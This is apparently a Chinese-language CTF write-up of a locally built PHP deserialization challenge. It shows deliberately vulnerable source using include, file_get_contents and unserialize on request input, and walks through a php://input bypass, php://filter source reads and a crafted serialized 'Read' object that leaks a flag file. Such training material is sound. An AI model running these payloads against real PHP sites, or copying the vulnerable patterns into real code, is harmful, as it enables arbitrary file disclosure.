1. 程式人生 > >ctf中的一道反序列化題

ctf中的一道反序列化題

早就想寫了,今天剛好遇到一道反序列化的題就記錄一下

自己在本地搭的,原始碼如下:

index1.php

<?php
error_reporting(E_ALL & ~E_NOTICE);
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    if(preg_match("/f1a9/",$file)){
        exit();
    }else{
        include($file); //class.php
        $pass = unserialize($pass);
        echo $pass;
    }
}else{
    echo "you are not admin ! ";
}
 
?>
 
<!--
$user = $_GET["user"];
$file = $_GET["file"];
$pass = $_GET["pass"];
 
if(isset($user)&&(file_get_contents($user,'r')==="admin")){
    echo "hello admin!<br>";
    include($file); //class.php
}else{
    echo "you are not admin ! ";
}
 -->

class.php

<?php
error_reporting(E_ALL & ~E_NOTICE);
 
class Read{//f1a9.php
    public $file;
    public function __toString(){
        if(isset($this->file)){
            echo file_get_contents($this->file);    
        }
        return "__toString was called!";
    }
}
?>

f1a9.php

<?php
error_reporting(E_ALL & ~E_NOTICE);
//flag{hSh_ctf:[email protected]}
?>

本地測試

訪問首頁,檢視原始碼

根據以上原始碼洩露,是檔案包含漏洞,配合封裝協議讀取檔案原始碼

包含了class.php檔案,該怎麼讀它的原始碼內容呢

這裡得講到file_get_contents()函式

file_get_contents() 函式把整個檔案讀入一個字串中。

這裡的字串是$user引數接受的,利用它的檔案封裝協議來讀取$file引數include的檔案

當然這裡要使第一個條件成立。還需要講到一個檔案封裝協議

php://input 是個可以訪問請求的原始資料的只讀流

第一個條件:

if(isset($user)&&(file_get_contents($user,'r')==="admin"))

使$user的值等於admin,並且使$user接收讀入的檔案

可利用php://input繞過

成功繞過

現在利用php偽協議讀取class.php原始碼,格式為base64加密

解密後

可以直接讀取flag檔案嗎? 答案是不能

但是class.php把我們引入到另一個地方,就是利用反序列化來讀取flag檔案
於是我們構造反序列化的引數:
O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1a9.php";}

這裡也是利用php://filter來讀取flag檔案

 上面的就是f1a9.php的內容,格式base64加密,解密即可